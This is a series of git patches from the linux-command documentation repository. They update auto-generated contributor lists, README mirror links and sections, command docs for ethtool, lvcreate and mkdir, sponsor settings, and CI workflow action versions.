a/README.md +++ b/README.md @@ -398,30 +398,30 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 xhal VVatt gggwvg +BingCoke +Ein Verne +Pan, Wen-Ming +RichardLCD +Shan Chenyu Dazhuangw Alterem YH +Xingwen Zhang YEUNGCHIE Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -BingCoke -Pan, Wen-Ming -Ein Verne +sfwwslm +rexlin600 +oliver +noodles2hg +miniwater +myliwenbo +cole Ricardowang linuxwd lewis1573 leo kid1412621 kassadin -cole -myliwenbo -miniwater -noodles2hg -oliver -rexlin600 -sfwwslm juemuren4449 jqz3.tech jcdj666 @@ -436,7 +436,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -Mystic +cxalc Yidan Wang Panthea Johnson 远方 @@ -495,7 +495,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Cui Yang Azroy Alan -cxalc +0x_000 Forever121 c2ch brinkqiang @@ -523,7 +523,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 3d834fd5d4e1a2b711358fce4d0b3630cacda5fb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 May 2024 14:04:13 +0000 Subject: [PATCH 0868/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a5f02f92225..ec23d2f4445 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,30 +35,30 @@ xhal VVatt gggwvg +BingCoke +Ein Verne +Pan, Wen-Ming +RichardLCD +Shan Chenyu Dazhuangw Alterem YH +Xingwen Zhang YEUNGCHIE Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -BingCoke -Pan, Wen-Ming -Ein Verne +sfwwslm +rexlin600 +oliver +noodles2hg +miniwater +myliwenbo +cole Ricardowang linuxwd lewis1573 leo kid1412621 kassadin -cole -myliwenbo -miniwater -noodles2hg -oliver -rexlin600 -sfwwslm juemuren4449 jqz3.tech jcdj666 @@ -73,7 +73,7 @@ dongpohezui Deny dayday -Mystic +cxalc Yidan Wang Panthea Johnson 远方 @@ -132,7 +132,7 @@ Cui Yang Azroy Alan -cxalc +0x_000 Forever121 c2ch brinkqiang @@ -160,7 +160,8 @@ Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 1faf846d07574b0c4e4da0cff631b3461a48b545 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8A=81?= Date: Thu, 16 May 2024 11:50:07 +0800 Subject: [PATCH 0869/1019] doc: Update README.md (#579) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 增加web镜像网站，getaifun.com --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7d273831976..38f3c313d38 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) +[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) **其它 web 版本** From 585f6780948672d68b1cc24b825974c8d32d49d2 Mon Sep 17 00:00:00 2001 From: SunX Date: Sun, 19 May 2024 16:53:34 +0800 Subject: [PATCH 0870/1019] doc: Update ethtool.md (#580) --- command/ethtool.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ethtool.md b/command/ethtool.md index 9f7bd501695..9692706d49a 100644 --- a/command/ethtool.md +++ b/command/ethtool.md @@ -76,7 +76,7 @@ Ethtool命令显示的信息来源于网卡驱动层，即TCP/ip协议的链路 查看机器上网卡的速度：百兆还是千兆，请输入： ```shell -ethool eth0 +ethtool eth0 ``` 操作完毕后，输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX，请输入： From 723890ffc0733db69938f5cf4f187af71f9f790a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 19 May 2024 08:54:00 +0000 Subject: [PATCH 0871/1019] doc: update README.md. --- README.md | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 38f3c313d38..5206ff54240 100644 --- a/README.md +++ b/README.md @@ -403,25 +403,26 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming RichardLCD Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -Xingwen Zhang -YEUNGCHIE -Xrtero -sfwwslm -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +Yidan Wang juemuren4449 jqz3.tech jcdj666 @@ -437,11 +438,11 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -Yidan Wang Panthea Johnson 远方 谢民皆 Kyofin +老犁 继刚 移动的红烧肉 极简XksA @@ -467,6 +468,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey shuangcui shc +Forever121 MinsonLee Marnm mwei @@ -496,7 +498,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -514,6 +515,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wingrez Na Meng T-TRz879 +SunX Spaghetti-C RoachZhao Azolla From 65957290c2d556281d3c08b255f1725cd7be5b35 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 19 May 2024 08:54:01 +0000 Subject: [PATCH 0872/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 36 +++++++++++++++++++----------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ec23d2f4445..87d083b347a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -40,25 +40,26 @@ Pan, Wen-Ming RichardLCD Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE Dazhuangw Alterem YH -Xingwen Zhang -YEUNGCHIE -Xrtero -sfwwslm -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +Yidan Wang juemuren4449 jqz3.tech jcdj666 @@ -74,11 +75,11 @@ Deny dayday cxalc -Yidan Wang Panthea Johnson 远方 谢民皆 Kyofin +老犁 继刚 移动的红烧肉 极简XksA @@ -104,6 +105,7 @@ snovey shuangcui shc +Forever121 MinsonLee Marnm mwei @@ -133,7 +135,6 @@ Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -151,6 +152,7 @@ Wingrez Na Meng T-TRz879 +SunX Spaghetti-C RoachZhao Azolla From 1a4d7120f7dd4ae5aa832aa4df1be3f43f9df919 Mon Sep 17 00:00:00 2001 From: QinShower Date: Mon, 17 Jun 2024 01:42:31 +0800 Subject: [PATCH 0873/1019] doc: Update lvcreate.md (#584) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit lvcreate 缺少 -n 参数 --- command/lvcreate.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/lvcreate.md b/command/lvcreate.md index bea90263e8e..71c5cb5ef76 100644 --- a/command/lvcreate.md +++ b/command/lvcreate.md @@ -16,6 +16,7 @@ lvcreate(选项)(参数) ### 选项 ```shell +-n: 指定逻辑卷的名称 -L：指定逻辑卷的大小，单位为“kKmMgGtT”字节； -l：指定逻辑卷的大小（LE数）。 ``` @@ -29,7 +30,7 @@ lvcreate(选项)(参数) 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令： ```shell -[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷 +[root@localhost ~]# lvcreate -L 200M -n lvol0 vg1000 #创建大小为200M的逻辑卷 ``` 输出信息如下： From f7a82f449aef17b3a63820521fc4d9d4fac007a2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 16 Jun 2024 17:43:12 +0000 Subject: [PATCH 0874/1019] doc: update README.md. --- README.md | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 5206ff54240..8f5c231b2da 100644 --- a/README.md +++ b/README.md @@ -403,26 +403,24 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming RichardLCD Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -kassadin -kid1412621 -leo -lewis1573 -linuxwd -Ricardowang -cole -myliwenbo -miniwater -noodles2hg -oliver +Xingwen Zhang +YEUNGCHIE +Xrtero rexlin600 -sfwwslm -Yidan Wang +oliver +noodles2hg +miniwater +myliwenbo +cole +Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin juemuren4449 jqz3.tech jcdj666 @@ -438,6 +436,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc +Forever121 +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -464,11 +464,11 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 UniqueDing tutianyu101 tangke -sunls24 snovey shuangcui shc -Forever121 +sfwwslm +c2ch MinsonLee Marnm mwei @@ -498,7 +498,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -526,6 +525,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Robigus Rining Wu Ray Yee +QinShower Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From ca97f8af2de25e3f1682b39383789eaf41b06b9b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 16 Jun 2024 17:43:13 +0000 Subject: [PATCH 0875/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 87d083b347a..38f7c28bdf5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -40,26 +40,24 @@ Pan, Wen-Ming RichardLCD Shan Chenyu -Xingwen Zhang -Xrtero -YEUNGCHIE Dazhuangw Alterem YH -kassadin -kid1412621 -leo -lewis1573 -linuxwd -Ricardowang -cole -myliwenbo -miniwater -noodles2hg -oliver +Xingwen Zhang +YEUNGCHIE +Xrtero rexlin600 -sfwwslm -Yidan Wang +oliver +noodles2hg +miniwater +myliwenbo +cole +Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin juemuren4449 jqz3.tech jcdj666 @@ -75,6 +73,8 @@ Deny dayday cxalc +Forever121 +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -101,11 +101,11 @@ UniqueDing tutianyu101 tangke -sunls24 snovey shuangcui shc -Forever121 +sfwwslm +c2ch MinsonLee Marnm mwei @@ -135,7 +135,6 @@ Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -163,6 +162,7 @@ Robigus Rining Wu Ray Yee +QinShower Mystic

From 83b53b1558c9d51d779be9f57b7efd38dfe1cb5b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 22 Jun 2024 23:58:39 +0800 Subject: [PATCH 0876/1019] ci: Update FUNDING.yml --- .github/FUNDING.yml | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 716bbf0f45f..abe8b762fe5 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,9 +1,3 @@ -# These are supported funding model platforms - -# github: [jaywcjlove] -# patreon: # Replace with a single Patreon username -# open_collective: # Replace with a single Open Collective username -# ko_fi: # Replace with a single Ko-fi username -# tidelift: #npm/mocker-api -# community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -custom: https://jaywcjlove.github.io/#/sponsor +ko_fi: jaywcjlove +buy_me_a_coffee: jaywcjlove +custom: ["https://www.paypal.me/kennyiseeyou", "https://jaywcjlove.github.io/#/sponsor"] From b067905c205a67db1a45af928854a87ad878a677 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 23 Jun 2024 10:17:20 +0800 Subject: [PATCH 0877/1019] ci: update workflows config. --- .github/workflows/ci.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f458838acc4..2c7ac4fe2a8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -78,6 +78,7 @@ jobs: if: steps.create_tag.outputs.successful with: artifacts: '.deploy/linux-command.docset.tgz' + draft: false token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} @@ -122,7 +123,7 @@ jobs: - run: rm -rf .deploy/linux-command.docset - name: Deploy - uses: peaceiris/actions-gh-pages@v3 + uses: peaceiris/actions-gh-pages@v4 with: commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' github_token: ${{ secrets.GITHUB_TOKEN }} From e6f96996c6c9e848aa3e096cd8586a5d2cb89b50 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 23 Jun 2024 10:29:53 +0800 Subject: [PATCH 0878/1019] ci: update workflows config. --- .github/workflows/ci.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2c7ac4fe2a8..0fd2f9c3a3d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -77,6 +77,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: + allowUpdates: true artifacts: '.deploy/linux-command.docset.tgz' draft: false token: ${{ secrets.GITHUB_TOKEN }} From 770ae3239e4a4ab7459ccb464f9d407c9d9018a4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 23 Jun 2024 10:36:30 +0800 Subject: [PATCH 0879/1019] ci: update workflows config. --- .github/workflows/ci.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0fd2f9c3a3d..7091845dbb4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -148,7 +148,7 @@ jobs: password: ${{ secrets.DOCKER_PASSWORD }} - name: Build and push image:latest - uses: docker/build-push-action@v3 + uses: docker/build-push-action@v6 with: push: true context: . @@ -156,7 +156,7 @@ jobs: tags: ${{ secrets.DOCKER_USER }}/linux-command:latest - name: Build and push image:tags - uses: docker/build-push-action@v3 + uses: docker/build-push-action@v6 if: steps.create_tag.outputs.successful with: push: true @@ -173,7 +173,7 @@ jobs: # password: ${{ secrets.GITHUB_TOKEN }} # - name: Build and push image:latest - # uses: docker/build-push-action@v3 + # uses: docker/build-push-action@v6 # with: # push: true # context: . @@ -181,7 +181,7 @@ jobs: # tags: ghcr.io/jaywcjlove/linux-command:latest # - name: Build and push image:tags - # uses: docker/build-push-action@v3 + # uses: docker/build-push-action@v6 # if: steps.create_tag.outputs.successful # with: # push: true From c5c217960cb3ec7fc48af73d8978c654bd36ece5 Mon Sep 17 00:00:00 2001 From: nsnans <3064254883@qq.com> Date: Thu, 27 Jun 2024 11:51:29 +0800 Subject: [PATCH 0880/1019] doc: update command/mkdir.md (#585) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加：-m 参数权限 --- command/mkdir.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/command/mkdir.md b/command/mkdir.md index ce9c5ef2cea..7b6cd36db5a 100644 --- a/command/mkdir.md +++ b/command/mkdir.md @@ -44,4 +44,27 @@ mkdir -m 700 /usr/meng/test mkdir -p-m 750 bin/os_1 ``` +### 补充 +-m ：配置文件的权限 + + 如：755 + + 每个数字代表不同的权限集合，分别为： + + - 第一个数字`7`：所有者（user）的权限 + - 第二个数字`5`：所属组（group）的权限 + - 第三个数字`5`：其他用户（others）的权限 + + 每个数字是以下权限的组合： + - 读权限 (read) - 4 + - 写权限 (write) - 2 + - 执行权限 (execute) - 1 + + 因此，`755`的具体权限为： + + - `7`（所有者）= 4 (读) + 2 (写) + 1 (执行) = 7 + - `5`（所属组）= 4 (读) + 1 (执行) = 5 + - `5`（其他用户）= 4 (读) + 1 (执行) = 5 + + From e9564f479863f1a076fddbd3b7bd4c60880078bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 03:52:12 +0000 Subject: [PATCH 0881/1019] doc: update README.md. --- README.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 8f5c231b2da..7ff751b70e7 100644 --- a/README.md +++ b/README.md @@ -407,21 +407,22 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alterem YH Xingwen Zhang -YEUNGCHIE Xrtero -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 -kassadin +YEUNGCHIE juemuren4449 +kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +nsnans +oliver +rexlin600 jqz3.tech jcdj666 hululu1068 @@ -436,7 +437,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -Forever121 +Mystic Yidan Wang Panthea Johnson 远方 @@ -462,7 +463,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lingfeng Wang weibk UniqueDing -tutianyu101 tangke snovey shuangcui From 0d262d029cd05a3cfbda8b9b3a46bb60a6c541d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 03:52:13 +0000 Subject: [PATCH 0882/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 38f7c28bdf5..94ec43b5c19 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -44,21 +44,22 @@ Alterem YH Xingwen Zhang -YEUNGCHIE Xrtero -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 -kassadin +YEUNGCHIE juemuren4449 +kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +nsnans +oliver +rexlin600 jqz3.tech jcdj666 hululu1068 @@ -73,7 +74,7 @@ Deny dayday cxalc -Forever121 +Mystic Yidan Wang Panthea Johnson 远方 @@ -99,7 +100,6 @@ Lingfeng Wang weibk UniqueDing -tutianyu101 tangke snovey shuangcui From b5f545dc6ad36ade78e170ffa176d4e788fbd06c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Jun 2024 14:28:53 +0800 Subject: [PATCH 0883/1019] doc: Update README.md --- README.md | 127 ++++-------------------------------------------------- 1 file changed, 8 insertions(+), 119 deletions(-) diff --git a/README.md b/README.md index 7ff751b70e7..59afa1896c7 100644 --- a/README.md +++ b/README.md @@ -43,87 +43,15 @@ [`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/), [`51tools.info`](https://51tools.info/linux/) -## 微信小程序版本 - -微信小程序版本，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260)。 - - - -## Chrome 插件 - -可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果，[Github下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 crx 文件安装](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载： - -[![Chrome Web Store 下载](http://jaywcjlove.github.io/sb/download/chrome-web-store.svg)](https://chrome.google.com/webstore/detail/oscnews/iheapfheanfjcemgneblljhaebonakbg) - -

-Chrome 插件截图 - -Chrome 插件截图 - -
- -## Raycast 版本 - -[Raycast 版本安装](https://www.raycast.com/jaywcjlove/linux-command)， ([**#338**](https://github.com/jaywcjlove/linux-command/issues/338))下图是界面效果： - -
-Raycast 版本截图 - -Raycast 版本截图 - -Raycast 版本截图 - -Raycast 版本截图 - -Raycast 版本截图 - -
- - -## Alfred 版本 - -[Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)， 下图是界面效果。 - -
-Alfred 版本截图 - -Alfred 版本截图 - -
- -## Dash 版本 - -由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。 - - -
-Dash 版本截图 - -Dash 版本截图 - -
- -## Android 版本 - -[Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases)， 下图是界面效果。 - -
-Android 版本截图 - -Android 版本截图 - -Android 版本截图 - -Android 版本截图 - -Android 版本截图 -
- -## 命令行工具 - -- [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 -- [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 +## 其它版本 +- [微信小程序版本](https://github.com/jaywcjlove/linux-command/issues/260)，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260) +- [Chrome 插件](https://github.com/jaywcjlove/oscnews)，[下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者通过 Chrome Web Store 下载 +- [Raycast 版本](https://www.raycast.com/jaywcjlove/linux-command)，([**#338**](https://github.com/jaywcjlove/linux-command/issues/338)) +- [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)，`Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 使用，[下载 .docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件，由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供 +- [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases) +- [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 +- [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 ## Docker @@ -166,44 +94,6 @@ http://localhost:9665/ 通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 -## 目录 - -- [Web 版本](#web-版本) -- [微信小程序版本](#微信小程序版本) -- [Chrome 插件](#chrome-插件) -- [Raycast 版本](#raycast-版本) -- [Alfred 版本](#alfred-版本) -- [Dash 版本](#dash-版本) -- [Android 版本](#android-版本) -- [命令行工具](#命令行工具) -- [Docker](#docker) -- [Vercel](#vercel) -- [目录](#目录) -- [Linux命令分类](#linux命令分类) - - [文件传输](#文件传输) - - [备份压缩](#备份压缩) - - [文件管理](#文件管理) - - [磁盘管理](#磁盘管理) - - [磁盘维护](#磁盘维护) - - [系统设置](#系统设置) - - [系统管理](#系统管理) - - [文本处理](#文本处理) - - [网络通讯](#网络通讯) - - [设备管理](#设备管理) - - [电子邮件与新闻组](#电子邮件与新闻组) - - [其他命令](#其他命令) -- [开发使用](#开发使用) -- [Linux学习资源整理](#linux学习资源整理) - - [社区网站](#社区网站) - - [知识相关](#知识相关) - - [软件工具](#软件工具) - - [中国开源镜像站点](#中国开源镜像站点) - - [游戏玩家发行版](#游戏玩家发行版) -- [Team](#team) -- [感谢所有贡献者](#感谢所有贡献者) -- [License](#license) - - ## Linux命令分类 *这里存放Linux 命令大全并不全，你可以通过[linux-command](https://jaywcjlove.github.io/linux-command/)来搜索，它是把 [command](./assets/command) 目录里面搜集的命令，生成了静态HTML并提供预览以及索引搜索。* @@ -355,7 +245,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [Solus](https://solus-project.com) [下载地址](https://solus-project.com/download/) - [Manjaro Gaming Edition (mGAMe)](https://sourceforge.net/projects/mgame/) [下载地址](https://sourceforge.net/projects/mgame/) - ## Team [![小弟调调™](https://github.com/jaywcjlove.png?size=100)](https://github.com/jaywcjlove) | [![ZhuangZhu-74](https://github.com/ZhuangZhu-74.png?size=100)](https://github.com/ZhuangZhu-74) | [![Huck Huang](https://github.com/huckhuang.png?size=100)](https://github.com/huckhuang) From eed00d53bcf3c4c17f8dfa0ff316fc73b94c681a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 06:29:24 +0000 Subject: [PATCH 0884/1019] doc: update README.md. --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 59afa1896c7..858127966b7 100644 --- a/README.md +++ b/README.md @@ -352,12 +352,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lingfeng Wang weibk UniqueDing +tutianyu101 tangke snovey shuangcui shc sfwwslm -c2ch MinsonLee Marnm mwei @@ -387,6 +387,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -414,8 +416,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Robigus Rining Wu Ray Yee -QinShower -Mystic +QinShower 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From e22feab5592be48f5828def0c904204a9e807e48 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 06:29:24 +0000 Subject: [PATCH 0885/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 94ec43b5c19..be7be0b51aa 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -100,12 +100,12 @@ Lingfeng Wang weibk UniqueDing +tutianyu101 tangke snovey shuangcui shc sfwwslm -c2ch MinsonLee Marnm mwei @@ -135,6 +135,8 @@ Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -162,8 +164,7 @@ Robigus Rining Wu Ray Yee -QinShower -Mystic +QinShower

